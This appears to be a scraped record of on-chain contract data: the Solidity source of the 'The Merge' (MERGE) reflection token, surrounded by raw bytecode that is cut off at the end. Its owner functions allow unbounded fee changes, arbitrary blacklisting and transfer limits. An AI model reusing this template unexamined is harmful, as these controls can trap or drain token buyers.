91660a060020a1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561061a5780601f106105ef5761010080835404028352916020019161061a565b60075481565b6000610b49338484610e2c565b610b538383611208565b1515610ba9576040805160e560020a62461bcd02815260206004820152601a60248201527f4661696c656420746f207472616e7366657220746f6b656e7321000000000000604482015290519081900360640190fd5b50600192915050565b336000908152600160209081526040808320600160a060020a0386168452909152812054610be6908363ffffffff610e1a16565b336000818152600160209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600a6020526000908152604090208054600182015460029092015490919083565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600454600090600160a060020a03163314610cfc576040805160e560020a62461bcd02815260206004820152601260248201527f596f752063616e277420646f2074686174210000000000000000000000000000604482015290519081900360640190fd5b60035460a060020a900460ff1615610d84576040805160e560020a62461bcd02815260206004820152602b60248201527f49434f20506572696f64206973206f766572202d207573652061206e6f726d6160448201527f6c207472616e736665722e000000000000000000000000000000000000000000606482015290519081900360840190fd5b61089e8383611208565b600354600160a060020a03163314610da557600080fd5b610dae816112e7565b50565b600080610dbd83611365565b90506000811115610df857600160a060020a0383166000908152600a6020526040902054610df1908263ffffffff610e1a16565b9150610e14565b600160a060020a0383166000908152600a602052604090205491505b50919050565b60008282018381101561089e57600080fd5b600083610e38816113da565b83610e42816113da565b600160a060020a03861660009081526020818152604080832054600a90925290912054610e869190610e7a908763ffffffff6114e016565b9063ffffffff61150e16565b92506000831115610f5e57600160a060020a0386166000908152600a6020526040902054610eba908463ffffffff6110e716565b600160a060020a038088166000908152600a60205260408082209390935590871681522054610eef908463ffffffff610e1a16565b600160a060020a038087166000818152600a60209081526040808320958655938b168083528483206002908101549385905290950191909155825187815292519193927ff99e1703995723f297efb71e45f6c282b4ff86d1f3ef67da774949dd2ad7e3ac929081900390910190a35b505050505050565b600160a060020a038316600090815260208190526040812054821115610f8b57600080fd5b600160a060020a0384166000908152600160209081526040808320338452909152902054821115610fbb57600080fd5b600160a060020a0383161515610fd057600080fd5b600160a060020a038416600090815260208190526040902054610ff9908363ffffffff6110e716565b600160a060020a03808616600090815260208190526040808220939093559085168152205461102e908363ffffffff610e1a16565b600160a060020a03808516600090815260208181526040808320949094559187168152600182528281203382529091522054611070908363ffffffff6110e716565b600160a060020a03808616600081815260016020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600081610df8816113da565b600080838311156110f757600080fd5b5050900390565b600354600090600160a060020a0316331461111857600080fd5b60035460a060020a900460ff161561112f57600080fd5b600254611142908363ffffffff610e1a16565b600255600160a060020a03831660009081526020819052604090205461116e908363ffffffff610e1a16565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b3360009081526020819052604081205482111561122457600080fd5b600160a060020a038316151561123957600080fd5b33600090815260208190526040902054611259908363ffffffff6110e716565b3360009081526020819052604080822092909255600160a060020a0385168152205461128b908363ffffffff610e1a16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600160a060020a03811615156112fc57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0381166000908152600a60205260408120600101546007548291611396919063ffffffff6110e716565b90508015156113a85760009150610e14565b600254600160a060020a038416600090815260208190526040902054610df19190610e7a90849063ffffffff6114e016565b60035460009060a060020a900460ff161515611466576040805160e560020a62461bcd02815260206004820152603160248201527f43616e27742063616c63756c6174652062616c616e636573206966207374696c60448201527f6c206d696e74696e6720746f6b656e7321000000000000000000000000000000606482015290519081900360840190fd5b61146f82611365565b905060008111156114bd57600160a060020a0382166000908152600a60205260409020546114a3908263ffffffff610e1a16565b600160a060020a0383166000908152600a60205260409020555b50600754600160a060020a039091166000908152600a6020526040902060010155565b6000808315156114f357600091506109b8565b5082820282848281151561150357fe5b041461089e57600080fd5b60008080831161151d57600080fd5b828481151561152857fe5b049493505050505600a165627a7a723058207fd49d853b8429b70018375c52a7a343b536e0c0fc4e8b3c7ce29f1ede4f2b540029
|
{"success": true, "error": null, "results": {}}
| 8,710 |
0xbb06a35d24e1d03308e4149566705659dd104df8
|
/*
https://t.me/themergeportal
https://www.mergecrypto.net
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MERGE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "The Merge";//
string private constant _symbol = "MERGE";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;//
uint256 private _taxFeeOnBuy = 7;//
//Sell Fee
uint256 private _redisFeeOnSell = 1;//
uint256 private _taxFeeOnSell = 6;// reflections
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xb4eC96d66fb552929CbCdfc76cb2955133ca196a);//
address payable private _marketingAddress = payable(0xb4eC96d66fb552929CbCdfc76cb2955133ca196a);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000000 * 10**9; //
uint256 public _maxWalletSize = 250000000 * 10**9; //
uint256 public _swapTokensAtAmount = 150000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = 3;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe91906130c7565b610702565b005b34801561021157600080fd5b5061021a610852565b6040516102279190613510565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190613033565b61088f565b60405161026491906134da565b60405180910390f35b34801561027957600080fd5b506102826108ad565b60405161028f91906134f5565b60405180910390f35b3480156102a457600080fd5b506102ad6108d3565b6040516102ba91906136f2565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612fe4565b6108e3565b6040516102f791906134da565b60405180910390f35b34801561030c57600080fd5b506103156109bc565b60405161032291906136f2565b60405180910390f35b34801561033757600080fd5b506103406109c2565b60405161034d9190613767565b60405180910390f35b34801561036257600080fd5b5061036b6109cb565b60405161037891906134bf565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612f56565b6109f1565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613108565b610ae1565b005b3480156103df57600080fd5b506103e8610b92565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612f56565b610c63565b60405161041e91906136f2565b60405180910390f35b34801561043357600080fd5b5061043c610cb4565b005b34801561044a57600080fd5b5061046560048036038101906104609190613131565b610e07565b005b34801561047357600080fd5b5061047c610ea6565b60405161048991906136f2565b60405180910390f35b34801561049e57600080fd5b506104a7610eac565b6040516104b491906134bf565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613108565b610ed5565b005b3480156104f257600080fd5b506104fb610f8f565b60405161050891906136f2565b60405180910390f35b34801561051d57600080fd5b50610526610f95565b6040516105339190613510565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e9190613131565b610fd2565b005b34801561057157600080fd5b5061058c6004803603810190610587919061315a565b611071565b005b34801561059a57600080fd5b506105b560048036038101906105b09190613033565b611128565b6040516105c291906134da565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612f56565b611146565b6040516105ff91906134da565b60405180910390f35b34801561061457600080fd5b5061061d611166565b005b34801561062b57600080fd5b506106466004803603810190610641919061306f565b61123f565b005b34801561065457600080fd5b5061065d61139f565b60405161066a91906136f2565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612fa8565b6113a5565b6040516106a791906136f2565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d29190613131565b61142c565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612f56565b6114cb565b005b61070a61168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e90613652565b60405180910390fd5b60005b815181101561084e576001601160008484815181106107e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061084690613a2c565b91505061079a565b5050565b60606040518060400160405280600981526020017f546865204d657267650000000000000000000000000000000000000000000000815250905090565b60006108a361089c61168d565b8484611695565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000678ac7230489e80000905090565b60006108f0848484611860565b6109b1846108fc61168d565b6109ac85604051806060016040528060288152602001613f3960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061096261168d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122349092919063ffffffff16565b611695565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109f961168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7d90613652565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ae961168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6d90613652565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd361168d565b73ffffffffffffffffffffffffffffffffffffffff161480610c495750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c3161168d565b73ffffffffffffffffffffffffffffffffffffffff16145b610c5257600080fd5b6000479050610c6081612298565b50565b6000610cad600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612393565b9050919050565b610cbc61168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4090613652565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e0f61168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9390613652565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610edd61168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6190613652565b60405180910390fd5b80601660146101000a81548160ff021916908315150217905550600360088190555050565b60185481565b60606040518060400160405280600581526020017f4d45524745000000000000000000000000000000000000000000000000000000815250905090565b610fda61168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105e90613652565b60405180910390fd5b8060198190555050565b61107961168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611106576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fd90613652565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061113c61113561168d565b8484611860565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a761168d565b73ffffffffffffffffffffffffffffffffffffffff16148061121d5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120561168d565b73ffffffffffffffffffffffffffffffffffffffff16145b61122657600080fd5b600061123130610c63565b905061123c81612401565b50565b61124761168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cb90613652565b60405180910390fd5b60005b83839050811015611399578160056000868685818110611320577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906113359190612f56565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061139190613a2c565b9150506112d7565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61143461168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b890613652565b60405180910390fd5b8060188190555050565b6114d361168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790613652565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c7906135b2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611705576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fc906136d2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176c906135d2565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161185391906136f2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c790613692565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611940576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193790613532565b60405180910390fd5b60008111611983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197a90613672565b60405180910390fd5b61198b610eac565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119f957506119c9610eac565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f3357601660149054906101000a900460ff16611a8857611a1a610eac565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a87576040517f08c379